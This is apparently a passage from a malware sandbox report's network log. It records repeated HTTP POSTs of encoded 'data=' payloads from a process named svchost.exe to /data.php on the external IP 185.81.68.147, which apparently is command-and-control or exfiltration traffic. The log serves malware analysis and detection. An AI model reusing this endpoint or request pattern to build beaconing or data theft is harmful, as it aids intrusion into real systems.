Dec 26, 2024 12:05:46.995048046 CET	147	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49809	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:45.230406046 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:05:46.794706106 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49811	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:45.511857986 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49816	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:47.027240038 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49817	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:47.683759928 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49818	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:47.695264101 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49829	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:51.809298038 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49830	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:51.820303917 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49841	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:55.941612005 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49842	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:55.953883886 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49850	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:00.064533949 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:06:02.937045097 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49851	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:00.109869957 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:06:03.045646906 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49860	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:03.168540955 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:06:04.727689028 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49861	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:03.293715954 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:06:05.035442114 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49865	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:04.950366974 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:06:06.509358883 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49867	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:05.566497087 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:06:07.269310951 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49870	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:06.994982958 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49872	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:07.407731056 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:06:08.959208965 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49873	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:07.420768976 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:06:09.094125986 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49877	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:09.188363075 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:06:10.726748943 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49878	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:09.351874113 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:06:11.090454102 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49883	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:11.004524946 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:06:12.544676065 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49885	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:11.346647978 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:06:13.100769997 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49888	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:12.779933929 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49891	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:13.403824091 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:06:15.076216936 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

